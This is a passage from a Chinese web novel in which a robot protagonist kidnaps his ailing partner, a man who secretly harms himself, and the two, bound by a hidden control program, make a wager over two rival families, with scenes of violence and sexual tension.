“祁先生今天早上去高塔那边了,现在不见人。” 他欣赏着越珩逐渐冷下来的神情。 见不到人,他要和谁说呢? 越珩盯着他看了几秒,掐住他的脖颈,漠然道:“楚青琅,如果让我发现你伤害了祁哥,我会让你生不如死。” “既然你这么想要为我们越家当狗,那就好好当吧,哥哥的话,也要听进去。” “不然等你回来,她很有可能会很伤心的。” 发现他无法说服,所以转变策略从他看重的人——女人,上面入手了吗? 但是那也是他的母亲啊,天道这么厉害的吗,硬生生扭曲人的思维? 楚青琅被他的虎口抵着喉结,无法说话,但是一双眼珠子却同样不甘示弱的望了过去。 两人之间的气氛几乎到达了剑拔弩张的地步。 ——“怎么总是脏兮兮的?” 低哑轻柔的话突然在脑海中想起,楚青琅瞬间改变了主意。 “扑通!” 他反手攥着越珩的手腕,猛的施力将人从桌子后拽倒,然后踢了一脚。 痛感传来,越珩瞬间像虾子一般弓起了腰。 楚青琅蹲下身子,膝盖压着剧烈起伏的胸口,揪住那浓密的发。 “真羡慕你一直活在妈妈庇佑的世界下。哥哥,你还真的是天真。” “越家一共十几个孩子,你凭什么觉得自己可以用堂堂正正的手段赢下比赛?就凭你傲慢的态度?还是你恋爱脑?” 虽然大概率越珩恋爱脑是因为天道和剧情的影响。 但是这不耽误楚青琅嘲讽他。 “说我当狗,我看你给猎物当狗当的还挺开心,还告诉祁温,你去说啊,看他信你还是信我?想自己清清白白的赢下一切,你光耍嘴皮子有什么用?” 楚青琅双眼发亮,玻璃珠一般,透彻冰凉。 他语气轻柔道:“谁阻止你,杀了谁啊。” 越珩瞳孔猛的一缩,他几乎是战栗的看着面前的少年,心脏诡异的加速跳动。 越来越快,越来越快。 直到他感受到窒息。 看着他直勾勾的眼神,楚青琅眨了下眼。 主角攻怎么不反驳他? 不会真的被他打击到了吧? 就在他沉思的时候,骨节分明的手忽然压下他的后脑勺。 最后关头,楚青琅偏了偏头。 两人鼻梁交错。 楚青琅听见越珩声音沙哑,呼吸滚烫,铺洒在脸侧,带着明显的侵略感。 “我会赢,然后抓住你这个骗子。” 声音落下,砸在空寂满是血腥气的房间里,没有激起丝毫波澜。 越珩将录像重新播放,屏幕里少年快速向后退去,又很快走进。 床铺上坐着的男人瘦削,搭在被上的双手骨骼突出,格外稳定。 越珩看着男人毫不惊讶的表情,冷不丁问道:“你早就知道了?养虎为患?” 祁温靠在床头,眼也不眨的看着少年,阳光温柔的笼在周围,将少年照的金灿灿的。 真好看,适合截下来,然后裱起来。 画出来的话也可以。 就是周围一直有蠢货在叫,真的很烦。 祁温终于舍得将视线从少年身上收回,看向了越珩。 他说: “他开心就好。” 如果最后的时候,选择他就更好了。 越珩冷嗤,“拿自己的命去赌?一个被人当枪使,一个装聋作哑,真是两个神经病!” 因为他连着少年一起骂,祁温偏头,盯着他讽道:“你既然当时已经放弃过来了,现在又为什么出现在我面前?” 不过一个提线木偶,连自己真实的感情都无法掌控,有什么资格说青琅? 录像中的对话化为轻微的嗡鸣声。 越珩看着面前的男人,只觉得自己的脑袋仿佛被什么蒙蔽,那轻飘飘的眼神压的他喘不过来气。 他不懂自己明明决定了,不会将整件事情告诉祁哥,要按照自己的手段去阻止母亲对祁家的觊觎…… 但是为什么他却不由自主的闯进了高塔,还把录像给了祁哥看。 是什么,控制了他? * 现在课也上不了了。 楚青琅弯腰将倾倒的桌子扶起。 走出房间,正好看见越珩跨上机车飞驰而出的背影。 管家在他身后道歉,“非常抱歉,是祁家的防卫过于松懈,让他搅了您的课。” 楚青琅摇了摇头。 随后,他抬头看了一眼哪怕是在正午天空下,依然显得阴郁又尖锐的高塔,想起了几乎是一天没有吃东西的祁温。 他说:“祁温好点了吗?” 管家犹豫了一下。 楚青琅道:“知道了,我去看看。” 他收回视线,沿着小道来到了花房中。 里面的花开的都很好。 楚青琅也不知道看望病人需要什么花,他挑挑拣拣的掐下了好几朵。 都是开的最漂亮的。 又拽下了自己肩膀上的流苏,将花朵缠成了一束。 捧在手里,就是一大团,五彩缤纷的。 他抱着亲手做成的花,向着高塔走去。 话说,生病的人,应该带花去看吧? 楚青琅缓缓走上高塔,穿着白大褂的医生依然对他视若无睹。 和记忆中一样充沛的灯光,“啪嗒啪嗒”的声音,轻纱后平直躺着的男人。 这次,他没有退却,缓缓走了进去。 盛烈的光芒蒸出浓郁的血腥气将人完全包围。 楚青琅低头看着地面上已经积蓄成一滩的血液。 来源是轻纱后的一条软管。 他伸手,掀开那轻纱。 软管连接的是苍白嶙峋的手腕。 缠起的花束缓缓掉落,“啪”一声砸进血洼中,花瓣四散。 楚青琅怔怔的看着双眼紧闭的祁温。 他抑制不住的冷笑。 说身体不好? 这样搞自己,谁的身体能好? 怪不得那些白大褂之前捧着鲜血和软管走,连看都不看他一眼。 楚青琅恨不得上前扇男人几个巴掌! 他原本是想等几天,等男人身体好了在实施绑架。 现在看来,还是他现在就绑架好了! 虽然有些仓促。 不然就这治疗方式,男人的身体能好才怪! 他都忍不住怀疑男人是不是知道他的计划,才故意糟践自己的身体。 楚青琅碾了碾花束,走到了床边。 他伸出手,硬生生的将软管从男人的手腕上抽出。 男人感觉到了痛,连肌肉都开始抽搐,却因为他的控制,只能徒劳的挣扎着。 但是这仿佛只是身体的本能反应。 男人的面上没有流露出丝毫痛苦的迹象。 将手中的软管扔下,楚青琅转身下去,依着自己的身份,找白大褂要了一些绷带。 随后坐在床边,拿起祁温的手,将那伤口一寸寸的缠绕。 自然弯曲的手指微颤。 楚青琅倏地抬头。 祁温已经睁开了眼,正在安静的瞧着他。 楚青琅吓了一跳。 接着他想起进来看见的场景,带着怒气道:“给自己放血?我看你是真的想死!解释!” 祁温的神情柔软起来,他晃了晃手,“不痛的。” 楚青琅冷笑一声,伸手掐了一下他的伤口。 看着男人皱眉,他说:“是吗?” 男人却很快舒展了眉头,试图转移话题,“青琅学习完了吗?” 楚青琅瞧着他,瘫着一张脸没有说话。 察觉到男人不想说,他也懒得再次追问,反正每个人都要对自己的选择负责。 而且白月光早死早超生。 免得影响剧情。 楚青琅伸手,在男人的注视中,伸手掐住男人的脖颈。 他眸光泛冷。 “想死,我送你一程。” 第58章 第 58 章 要试试吗? “想死, 我送你一程。” 男人却只是伸手覆着他的手腕,眸黑沉。 “青琅——” 楚青琅被他看得头皮发麻。 指尖用力就将人用弄晕了过去。 他站起身,正准备去找管家要保卫人员的名单。 女人的消息就发了过来。 “妈妈同意了,去做吧孩子。” 消息来的真是及时, 现在绑架白月光倒是顺理成章了。 接下来, 只要等到晚上, 他就可以带人走了。 女人会把一切安排好。 至于祁家, 反正在剧情中也会被越家吞掉。 而祁温,会眼睁睁看着祁家彻底败落。 他垂眸, 眼神冷漠。 想死是吧? 他倒要看看一切都没了男人还会不会想死。 还是会彻底愤怒起来? * 天空渐渐黑下来。 楚青琅拉开合上的窗帘,外面忙碌的佣人大多都已经回到了自己的房间。 高塔一般很少人来,而且祁温平常也吃的很少。 所以楚青琅下去换了身简便的衣服,吃了点东西,顺便和管家说要拿了点食物带了上去。 对于他这个能够劝动祁温的夫人, 管家的态度向来很好,甚至没有犹豫就答应了。 虽然喂的动作有些笨拙,但是好歹还是把大部分食物都喂了进去。 中间祁温醒了一下, 张嘴又想要说什么。 不过楚青琅根本不想听, 想来就是一些被他背叛后的泄愤话语。 因此他干脆利落的把人又弄晕了过去。 直到天空彻底黑下。 楚青琅收拾完东西将男人背上, 走出了高塔。 身上虽然扛着一个百斤重的东西,但是他的脚步却依然平稳且迅速。 避开巡逻之后。 女人准备的车子就在不远处, 他加快脚步坐了上去。 他敲了敲前面的挡板, 随即,车子缓缓启动,平稳的滑行了出去。 依在身旁的男人依然不知道自己将面临什么。 楚青琅开始闭目养神起来。 霓虹灯在眼皮前打出绚丽光彩。 耳边一直平静的环境,渐渐变得富有生气起来,交谈声车流声在耳边喧嚣。 随后霓虹灯远去, 车子拐进一个小巷,在一栋楼前停了下来。 他侧头看了一眼,就明白,已经到了女人安排的地方。 车子中间的挡板缓缓下落,司机转身递给他一个信封。 打开后,里面是一张写着详细地址的纸条,还有一把钥匙。 楚青琅自己将男人弄下车子,向着里面走去。 女人给他安排的房间是在十一层,走廊的最里面。 电梯被擦拭的干净,能够清晰的映出两人。 男人身材修长,被少年背着脚都拖着地面,楚青琅抿着嘴,不耐的将人向上扽了扽。 叮的一声,面前的电梯打开。 外面站着一个老人,看见背着男人的少年连忙上手想要帮忙。 嘴里还自来熟的寒暄:“新住户啊?这是你哥哥吧,怎么喝这么多?太不稳重了!” 为了掩盖,楚青琅确实在男人的身上泼洒了一些红酒。 老人这样认为也在他的意料之中。 楚青琅点头,挡住他的手,“没事,我自己来就可以。” 闻言,老人放开手走进电梯,看着他们还忧心道:“那小伙子小心点。” 楚青琅礼貌道谢,随后转身朝着里面走去。 声控等随着脚步声响起依次亮起。 楚青琅掏出钥匙将房门打开,微微侧身走了进去。 这里并没有温德姆庄园那么豪华,甚至比不上楚青琅之前所呆的任何一个屋子。 异常简单,但是厨卫俱全。 楚青琅站在房间中央,有些犹豫要把人绑在那里。 左右看了看,楚青琅背身将人放下,拽着男人的手臂把人拉进了厕所。 随后转身出去拿早已备好的麻绳,将男人的手连带着水管捆了起来。 白炽灯下。 面容惨白英俊的男人紧闭着眼,西装凌乱,衬衣边缘带着酒渍。 双手后背靠在冰凉的浴缸旁。 面容精致如娃娃的少年穿着卫衣戴着帽子,搬来一个椅子,端正的坐在他的身前,面无表情的望着男人。 少年白皙修长的手抬起,皮肤裂开,显露出里面的屏幕来。 ——【计划开始。】 楚青琅将这句话发给女人,连带着男人被绑架的照片。 就在他回复完后,祁温忽地动了下。 一直抵着的头扬起,猛地磕到了浴缸边缘。 发出了一声沉闷的响声。 熟悉的疼痛瞬间刺入大脑,祁温瞬间清醒过来。 只一瞬间,他就察觉到自己来到了一个陌生的环境。 心中警惕骤升。 只是还没等他观察完,眼前一暗,头发就被人拽住。 整个头颅被迫扬起,一柄闪亮的刀正搁在脖颈上。 楚青琅握着刀子,冷声威胁:“现在你是我的人质,给我老实点!” 幽蓝透明的屏幕完全遮蔽不了什么,祁温一眼就看见了那句话。 是给越家发过去的吗? 只有密钥还不够吗? 没想到他真的会这么迫不及待地向他动手 还是他这个替身,始终只是替身,随时可以抛弃? 仿佛察觉到了他的眼神,少年的手背瞬间恢复成原样。 刀子下压,带着催促的意味。 划破油皮,鲜血成串滴落。 祁温深呼吸了几下,太阳穴阵痛,在楚青琅又准备开口时,他沙哑着嗓音道:“好。” 楚青琅哼了一声,收回匕首,后退几步冷冷的看了过来。 心中则在暗暗疑惑。 他没想到男人这么顺从,他还以为怎么也会挣扎一下。 接下来要怎么做? 楚青琅看了眼男人抿的平直的唇,还有脖颈上流下的血。 是不是要给他塞个东西堵嘴? 祁温坐在地上,四面八方满是冰冷的瓷砖,寒冷使得他不自觉的发起抖来。 但是他却只是执着的看着站在不远处的少年,神情带着些许的阴郁。 明明身上还穿着他准备的衣服,脖颈间的咬痕依然清晰。 现在却在这里威胁他? 绑住他手的绳结手法粗糙,不过相比起绑在他身上,更适合少年。 只是到时候他不会这么粗暴。 他会用更为细腻的绳子,红色最好,在少年身上留下漂亮的印记。 这样想着,祁温摸到臂环,拆下一节按下机关,里面很快就弹出一片片锋利的刀片。 小乖还不知道里面有什么吧? 他声音发飘,没有丝毫被绑架的慌乱。 他说:“小乖,你还是选择了她是吗?” 楚青琅回神,蹙了下眉,莫名的危机感让他有些发毛。 但是面前的男人分明就是一个病秧子,还被他绑了起来怎么会带给他这样的感觉? 他向着祁温走去,浑身肌肉不自觉的紧绷。 黑色的口罩和帽子遮蔽了他大部分的脸,只隐约显露出一双黑亮的眼眸。 里面满是小动物般的警惕。 祁温瞧着,不禁加深了笑。 没关系。 他的少年只是被别人蛊惑了。 等到所有的诱因都消失了。 少年会恢复成以往模样。 楚青琅直到走到祁温面前,心中那抹危机感依然没有消失。 他伸出脚,踩着男人的脚腕,试探性的微微用力。 祁温的唇瞬间惨白,就连额上都渗出了冷汗。 他眨了下眼,软道:“要断了,小乖。如果不想扶着我上厕所的话,最好别断我的腿。” 楚青琅却没有说话,仍然稳步加大着力气。 男人虽然这样说着,但是却没有丝毫反抗的样子,哪怕骨骼发出不堪重负的呻/吟。 祁温仰着头,颤抖着身躯向少年露出包容的笑。 只是那笑在惨白的肤色和黑沉眼眸映衬下,显得格外诡异。 楚青琅被看的心中陡然生出一股戾气。 他踩着男人的脚蹲下身子,拽住领子,凑近道:“我还以为你不怕疼呢,怎么这么快就示弱了?” 一道轻微的崩裂声后,冰冷的手握住了他的手腕。 祁温拽下攥着他衣领的手,慢条斯理为他解答。 “我是人类,当然会痛。” 看着少年震惊的眼神,他笑着说:“所以小乖真的要为了越珩杀我吗?” 楚青琅的回答是反手拿刀捅了过去。 寒光闪过,却被一只手攥住。 鲜血一滴一滴的从掌心淌下。 咔哒一声,小刀就被男人夺了过去,扔在了地上。 祁温顺着手腕摸到少年的肩膀,将人搂进怀中。 楚青琅低头,一眼就看见男人身后断裂的麻绳,还有堆在地上弹出刀片的荆棘臂环。 原来是这样。 男人早就做好了被绑架的准备。 楚青琅的心渐渐凉下,他道:“你之前都是装的?” 血腥气渐渐浓郁起来,身体腾空而起。 楚青琅想要挣扎,身躯却突然静止,无法动弹。 随后他被抱着和男人一起躺进了浴缸中。 苍白的面孔靠近,留着血的手掌抚摸着他的面颊,湿濡的液体很快染红了他的衣领。 祁温耐心解释,“没有哦,我和你说的都是实话,如果你真的只是想要密钥夺取祁家,我双手奉上,但是小乖,你不能杀我。” 他重复道:“只有你,不能杀我。” 楚青琅冷笑,“之前还说只要我动手你就去死,现在变得这么快?!” 祁温伸手按下放水的按钮。 在水流声中,他轻声说:“不一样,我现在死了,在小乖眼里只是一个失败者,就算是做替身,也不会让你记住。” 是他太看得起自己了,他以为他可以忍住的。 但是当少年拿着利刃对着他的脖颈时,他的脑袋已经被嫉妒全部充斥。 少年不在乎他。 这个认知使得他头晕目眩。 两人挤在一个浴缸中,水位渐渐升高,直到胸口。 楚青琅僵在男人的怀中,鼻梁几乎触碰到水面,呼吸间已经全是蒸腾而起的水汽。 仿佛下一刻就要被淹死。 他完全忽视了替身二字,忍不住道:“你对我做了什么?!” 祁温却只是黏在他的身上,仿佛冷血动物在汲取温度。 他说:“小乖不是见过林荔了吗?她就是那个项目的总负责人,所以在底部程序中埋下一个控制按钮,轻而易举。” 楚青琅心中发寒,他唇颤了下,整个就被扶起,坐在了男人的腿上。 原来是这样! 当初问男人有没有计划,男人说没有。 只是为了蒙蔽他,转移他的视线。 他竟然真的信以为真,因为男人是前面两个世界的人,就以为他真的会为了他什么也不在乎。 却原来,只是他在自作多情。 楚青琅紧紧咬住牙齿,被耍的羞愤逼红了他的眼眶。 祁温却仿佛被他眼尾的红迷住,凑上来亲/吻。 冰凉的温度落在眼角。 楚青琅强迫自己冷静下来。 那越家还能不能吞并祁家?在祁温有所准备的前提下? 水的温度由凉变热,楚青琅甚至感到了些许的烫。 凌乱的绷带浮在水面,祁温手掌上的鲜血丝丝缕缕的在水面漂浮。 碰到楚青琅的衣服,紧紧的扒了上去。 疼痛激起欲/望,两人相抵。 楚青琅试图挣脱控制,“就算是这样,你也救不了祁家,妈妈已经开始了行动!你会看着祁家分崩离析!” 从头到尾,少年嘴里只有威胁和越家! 男人猛的伸手捂住他的嘴,一双眼冷极了。 楚青琅怔住,瞬间闭上了嘴。 祁温用力闭了闭眼,强压怒火。 伤口被水泡的边缘泛白,却被他毫不留情的挤压着。 柔嫩的唇瓣被他扣在掌心。 鲜血溢满唇上纹路。 少年小兽一般轻抿,想要吐出逐渐渗入嘴中的鲜血,却不妨吸入更多。 尖锐的痛让他加快了呼吸。 楚青琅暗暗的依然卖力挣扎,想要重新控制自己的手脚。 随即,他双眼一亮。 虽然祁温控制住了他的身体,但是并没有控制他向外传递信息。 他现在的姿势正好。 忍着窜到头皮的快/意,坐在男人的大腿上,双手沉入水面。 所以就算他给女人发消息,祁温也无法看见。 想到这里,楚青琅立马行动起来。 这个地方是女人准备的,而且他绑架男人绑架的突兀,祁家是绝对不会那么快的就反应过来。 只要让女人加快速度,并且调人过来拖延时间。 就算是祁温提前布置,在他本人失踪的前提下,这些布置能不能起效还真的不一定。 毕竟,可不是所有人都像他的管家一样忠诚。 对于大部分的普通人来说,上面的领导换成谁都无所谓。 面前的男人依然闭着眼,很爽的样子,虽然他也一样就是了。 周围的水温越来越高,熏的两人面孔都染上了些许的红晕。 楚青琅收回视线,向着女人发送了信息。 确认成功发送后,楚青琅倏地松了口气。 祁温忽然睁开了眼,看着他说:“发完了吗?” 楚青琅下意识的点头,却猛地意识到不对。 男人既然发现了他的小动作,为什么没有阻止? 他对自己这么有信心的吗? 但是这个世界和以前不同,天道将亲自关注调整剧情。 就算是他的手段再厉害,也不可能赢这种存在。 楚青琅被惊了下的小心脏回归平稳。 在男人看来,少年虽然满脸的通红,但是双眸冷漠,对于自己堪称背刺的举动没有丝毫心虚。 这也表明着他对越家有着莫大的信任。 祁温仿佛找回了理智,但是那阴冷的气息却依然在眉宇间萦绕。 他凑近楚青琅,手掌松开。 “小乖,我们做个游戏好不好?打个赌。” 楚青琅嘴上,下颌处满是男人的鲜血,移开后只留下一阵黏糊的感觉,他不适的蹙眉。 察觉到男人松动的态度,他很快说:“别顶……什么赌?” 祁温道:“就拿越家和祁家打赌,从此刻开始,我们两人都将呆在这里,谁也不许对外传递信息。” 楚青琅深深的看了祁温一眼。 实话说,这个游戏很公平。 甚至说,对他过于友好了。 用他一个无足轻重的私生子牵制越家的掌权人,要是越珩知道,估计气笑,嘲讽祁温脑子有病,简直猪队友! 而且,楚青琅的助力也格外的多——天道,女人长久的计划,还有越珩。 经过今天的刺激,越珩也很有可能会主动吞噬祁家……主角攻的意志,总是可以影响天道的。 天时地利人和都站在他的这边。 他没有理由不答应。 祁温任由他沉思。 猎人看着警惕的野兽左顾右盼。 但是最终,还是会坠入为他量身定做的陷阱。 一旦接受,结局便将彻底注定。 祁温搂着楚青琅的肩膀,让人靠在浴缸边缘。 浴缸里面的水已经满的溢出,在地板上肆意流淌。 落进下水道,发出哗啦啦的响声。 温度在两人之间传递,连眼睫都变得湿漉漉的。 但是楚青琅依然谨慎,他盯着祁温问:“…赌…注?” 祁温伸手抹去他睫毛上的水痕,语气轻柔。 “如果越家赢了,我就自愿放弃生命,任你处置。” 话语落下。 楚青琅有些涣散的黑眸中渐渐燃起斗志。 他现在完全将祁温骗他,还有伤害自己的事情扔在了脑后。 原本他还对于要将男人的产业弄没而心生犹豫。 ——毕竟是跟着他走过几个世界的人,他也不是心狠的人,肯定会有所踟蹰。 但是现在,只要答应了这个赌注,那么两人之前那些剪不断理还乱的关系,就可以彻底斩断。 再次回到了任务者和和任务的位置,重新恢复了他内奸的身份。 不等祁温接着说,楚青琅就连忙答应。 “如果……祁家赢了,我也任你处置。” 楚青琅现在觉得。 好极了! 他果然不适合什么细腻温柔的恋爱,就算是装都装不出来。 只要越家赢了,他就可以干脆的给男人下达命令,反正到时候,男人的性命归他。 就算再怎么想死,在他脱离小世界前,也要背上他的意志,给他活着! 祁温拿起他的手,掌心相贴的按了按。 仿佛代表着赌约的彻底成立。 楚青琅挑眉,看着男人说:“快给我解开控制,我刚修理完成。” 他可是不防水的! “没事,林荔给你更换了防水零件。” 祁温手指揉弄着他的唇,将那血渍清洗干净。 他说:“还有水下呼吸的功能。” 祁温凑近,两人睫毛相触,看着那透亮的眼眸,嫉恨爱意化为贪婪怪物,在心中咆哮翻腾。 他抑制不住的咬破了颊肉。 “要试试吗?” “不……” 楚青琅刚想反对,就被祁温拉进了水中。 第59章 第 59 章 汪汪。 试试? 试什么? 楚青琅有些发蒙, 但是男人很快就身体力行的告诉了他。 一个人在水中被亲到窒息是什么感觉。 “哗啦!” 楚青琅破水而出,面色通红,丝丝缕缕的白被水流稀释。 他深呼吸了几次,混沌的大脑才渐渐恢复了清醒。 他下意识的想骂人, 但是环顾一周, 除了他出来了, 浴缸水面依然平静。 蒸腾而起的烟雾阻挡了他的实现。 但是腿脚还是可以感受到那人冰凉的温度。 人类可以闭气这么长的时间吗? 楚青琅连忙伸手摸索着男人, 很快,他就顺着身躯摸到了男人的头颅。 他施力, 将人从水面拽出。 祁温一向因为失血的面颊唇瓣因为热气熏出烟红,湿漉漉的发丝贴脸,勾勒尖锐的脸侧轮廓。 仿佛尸体一般。 楚青琅瞳孔骤缩,他连忙游到男人身旁,压着胸口试探着呼吸。 没有。 在意识到这个情况时, 楚青琅手都抖了。 不是吧? 明明知道自己身体不好还玩什么水下play。 逞什么强?! 祁温要是死在这里了,他的任务也不用完成了。 直接完蛋! 楚青琅强迫自己冷静下来,翻过男人的身体, 撬开他的嘴, 然后深入进去扣着他的咽喉, 试图让进入肺部的水通过呕吐的方式排出来。 但是却只是引起了咽喉本能的痉挛。 没有丝毫效果。 楚青琅又将人放平,捏着男人的鼻子, 沾满涎水的手掐着男人的下颌, 凑了上去做起来人工呼吸。 来回几次之后。 男人却依然没有任何动静。 楚青琅的心也越来越凉。 如果男人死了,他任务失败,回到主神空间该怎么回答? 哦不用他回答。 主系统那里有着小世界的回放。 这就代表着他要被公开处刑了,他把人给亲死了 导致自己任务失败,还导致自己没有办法得到记忆 都是因为他自己, 再也怪不了别人了。 到时候他要是碰见别的系统,该怎么回答? 楚青琅呆呆的坐在那里,完全沉浸在自己的想象中。 在他未注意到的时候,覆盖在男人上半张脸的尾指,被颤动的睫毛轻轻骚动了一下。 随后,男人彻底睁开眼,眼珠下转,看着少年紧张的神情,微微勾起了唇。 “原来死亡是这种滋味。” 他慢悠悠道。 声音落在这水汽充足的浴室间,也被浸的湿哒哒的。 落在楚青琅的耳边,惊的他打了一个激灵。 他猝然扭头,看着重新复活的男人,眼中带着惊喜。 “你没死?!” 这种毫不掩饰的惊喜将男人整个人都包裹住,将他内心从未停止过咆哮的野兽安抚。 祁温覆上他的手,将手挪到唇上,轻吻。 “和小乖打的赌还没赢呢,我怎么舍得去死?” 楚青琅惊喜的表情收拢,他猛地擂了男人的胸口一拳,并未收拢力气,将男人的从容全部打破,狼狈的捂着胸口趴在浴缸边缘咳嗽。 祁温断续道:“现在要死了。” 楚青琅冷哼一声,伸手抓住他的头发将人扯回来,“你故意的?” 男人将身体放松靠在他的怀中,侧头,轻啄脖颈,“毕竟我不在祁家,还是很担心如果输了,小乖要我去死怎么办,所以,我先体会一下。” 这个理由,还是很有他的风格。 楚青琅一把将人推开,站起身,在迈出浴缸的时候又一脚将人踩进了水中。 “那你再好好体会体会!” 拿着一条浴巾,他随手擦拭了一下,转身离开了浴室。 身后,热气随着开门关门消散一些。 水波荡漾中,祁温安静的沉在水底,面上挂着的笑隐去,眼眸宛如黑洞一般。 他摸了摸唇,腰腹用力坐起了身子。 * 楚青琅将浴巾扔到客厅沙发,转身向着卧室走去。 他这次出来的匆忙,并没有带衣服,但是还好女人准备的充足。 打开衣柜后,里面满满的衣服。 楚青琅随手拿出一件短袖长裤套了上去。 刚把衣柜关上,一只湿漉漉的手就伸了过来,因为他利落的动作,一下子按在了柜门上。 扭头,祁温正站在他的身后,手中拿着他扔下的浴巾,随手的擦拭着身上的水珠。 楚青琅咬牙,“你拿我的浴巾干什么?” 祁温向他笑,没有丝毫自己光着身子的觉悟,“浴室里面只有一条浴巾。” 楚青琅回想了一下。 好像确实。 他沉默片刻,又按住他想要下伸的手,“别碰。” 祁温欣悦道:“小乖真的听进去了,很棒。” 楚青琅抽了下嘴角,他一字一句道,“别逼我。” 再提起来,他真的会打人。 看着少年投来的冷淡目光,祁温收敛了些许。 他诚恳道:“我真的很抱歉,如果小乖不解气的话,那个臂环也是一个惩罚的用具,只要给我带上,按下开关,我就会感觉到极致的痛苦。” 楚青琅现在想起那弹出刀片的臂环还有些惊讶,又听见他这样说,便更加疑惑起来。 他说:“你为什么带那个东西?还有,你为什么放血?” 如果只是单纯的心理疾病,这两个只需要一个就够了,男人为什么要用两种方式来给自己施虐。 楚青琅很清楚,一个人的痛苦阈值是有极限的,而祁温的极限,他竟然没有探出来过。 不管是祁温过硬的忍痛能力,还是那长久的闭气能力。 都明显代表着除了这两种方式,他很有可能还尝试过别的方法,才导致他的阈值大大提高。 照他先前的说法,为了让他克制自己的杀人想法? 楚青琅只勉强信个两三分。 一个人连这么大的痛苦都忍受了下来。 他还真的不信以祁温的性子会忍不下来那所谓的伤害生命的欲/望。 所以,到底是因为什么? 把一个剧情中清冷温柔的白月光折腾成了一个神经病? 男人的表情随着他的逼视变化了一瞬,他张了张嘴,仿佛要说些什么,但是最终,他还是没有回答楚青琅的问题。 楚青琅收回视线,不想说拉倒。 祁温却接着说:“我看衣柜里面都是你尺码的衣服,比一下,看看贴身衣物能不能穿。” 他说的坦荡,楚青琅听的却莫名的觉得心口赌着一口气。 “比你大!” 他捋了下依然滴水的发丝,愤愤转身走出了房间。 这件房子家具很齐全,客厅的墙壁上挂着一个宽屏的电视,正好嵌在了墙体中。 乍一看去,只是一副画。 楚青琅也是看了两眼才发现。 电视被打开,上面正播放着一个综艺,楚青琅随手换了几个台。 定在一个讲解动物世界的频道时,他的动作顿了一下。 沙发是皮质的,水珠顺着发丝滴落,洇出一滴滴圆形的痕迹。 一只手伸出,拢着那发丝,手中柔软的布凑上去,将其吸干。 楚青琅反手握住那人的手腕,仰头,精致的脸上没有丝毫表情。 “你又做什么?” 苍白的男人站在沙发后,身上穿着和他同款的短袖,面上露出笑,语调依然斯文,尾音带着独特的轻。 “湿着头发睡不好。” 楚青琅盯着他,“我是机器人。” 机器人生什么病? 男人嗯了一声,却依然执着的拿着布擦拭着他的头发。 他这样,楚青琅也懒得管他,松开了手,任由他动作。 少年重新拿着遥控器不断的换着台,身后,男人一点一点的将那湿漉漉的发擦干,只剩下发尾些微的潮意。 等他的动作停下,少年忽地甩了一下头发,然后站起身,向着浴室走去。 等他走出来,手中就拿着那个被切断的麻绳。 麻绳很长,虽然被切断了,但是照样可以绑住男人的手脚。 楚青琅拉过凳子,将男人按在上面,蹲下身子就要将他的脚捆起来。 男人倒是颇为顺从,只是伸出手梳理着那发丝,仿佛要将那仅有的一点潮意给散出。 他说:“小乖真的要绑我吗?我不可以睡你旁边吗?” “闭嘴。” 楚青琅随手拿起撂在沙发上的湿布,将他的嘴堵了起来。 于是祁温便只能安静的看着他的动作。 稍长的发丝,贴着脖颈,水珠顺着蔓延到脊背,带来一阵冰凉。 祁温弯腰,将脸在少年的发顶上蹭了蹭。 楚青琅绑完脚,将他的脸推回,“手伸出来。” 男人伸出手,楚青琅就拿起另一截麻绳将手和椅子上面的扶手绑在了一起。 然后他站起身,拍了拍手,“我看你这次怎么挣脱。” 祁温静静注视着他,弯起眼,依然笑着。 很明显,因为第一次的绑架失败,少年到现在还是心有怨念。 楚青琅绑完人,重新坐在沙发上,又换起了台。 笑声,枪/械爆炸的声音,情意绵绵的说话声。美食节目,电影节目,综艺节目,还有新闻报道。 按下遥控器的手仿佛一把锋利的刀子,将每一道声音切割,拼出了能够塞满整间屋子的喧嚣。 身后的注视依然,楚青琅却感觉到一种电量耗尽的疲累。 他困乏的眨了眨眼,意识到不对。 很有可能是祁温又让那个林荔给他按了什么奇怪的东西…… 他扭头,想要质问,但是那黑暗来势汹汹,他很快就失去了意识。 切割声音的刀子收回,电视上画面被暂停到欢声笑语的综艺上。 在他身后的祁温挺着脊背,仰头看着刺眼的白炽灯,将口中的湿布吐出。 他嘶哑着嗓音对倒伏在沙发上的少年说。 “晚安。” * “你给我安了什么乱七八糟的东西?” 楚青琅拿着刀子挑起男人的下颌,冷冰冰的问。 等再次睁眼,他发现竟然已经来到了第二天。 这种感觉和睡着的感觉极为相似。但是他是机器人,不可能睡觉! 祁温坐在凳子上被绑了一整晚,很明显的憔悴了些,脸颊泛着异样的红,但是他却低头轻吻了一下刀尖。 “青琅不是想要睡觉吗?”他说:“所以我让林荔给你按了一个程序,到点会睡觉。” 楚青琅手颤了一下,他不知道是因为男人注意到他的需求而颤抖,还是因为男人的吻。 尖锐的刀尖划破男人的下颌,留下一道浅淡的口子。 他只能语气很凶的强调:“以后不经过我的允许,不准给我安东西!” 祁温抬眼,点了下头。 楚青琅啧了一声,将刀子扔到了地上。 就在他准备转身的时候,祁温忽然开口,“我之前看冰箱里面有菜,青琅要吃饭吗?” 楚青琅转身,祁温接着说:“我会应该会做一些饭,解开我帮你做好不好?” 他刚准备拒绝,忽然想起虽然他是不需要吃饭,但是面前的人还是需要的…… 于是楚青琅还是回身将他的绳子解开。 男人起身,随后脚一软摔进了他的怀中。 呼吸炽热,隔着衣服都将他的皮肉浇的微烫。 祁温很快稳住身子,凑近在他的额头亲了一口。 “很快就好。” 男人站起身,很快就恢复成了无懈可击的状态,脊背挺直,脚步稳定。 看着他向着厨房走去,楚青琅忽的转身回房间洗漱了一下,换了身衣服就走出了屋子。 直到走出去,清晨的阳光洒在单元口两旁的绿植上,楚青琅才意识到他好像没带钱,也不认识路。 恰好此时昨天碰见过的老人站在不远处的健身器材上,慢悠悠的扭着身子锻炼着身体。 楚青琅走过去询问了一下路,礼貌道谢后就转身向着目标走去。 钱,虽然他没有,但是女人有。 等女人送过来一部手机还有现金之后,楚青琅去药房买了一些药,就重新回到了房间。 推开门,率先映入眼帘的是穿着不知道从哪里拽来的围裙的男人,正端着菜摆到圆桌上。 楚青琅回神将门关上。 咔哒一声,吸引了男人的注意。 祁温却并没有去询问他去哪里了。 只是将凳子拉开,朝着少年伸出了手,姿势优雅。 “用餐愉快。” 楚青琅瞥了一眼桌子上的饭菜,随手将手中的塑料袋扔到了拉开的凳子上。 他嘲讽道:“你是服务生吗?” 祁温的视线落在漏出来的药上,尾指蜷了一下。 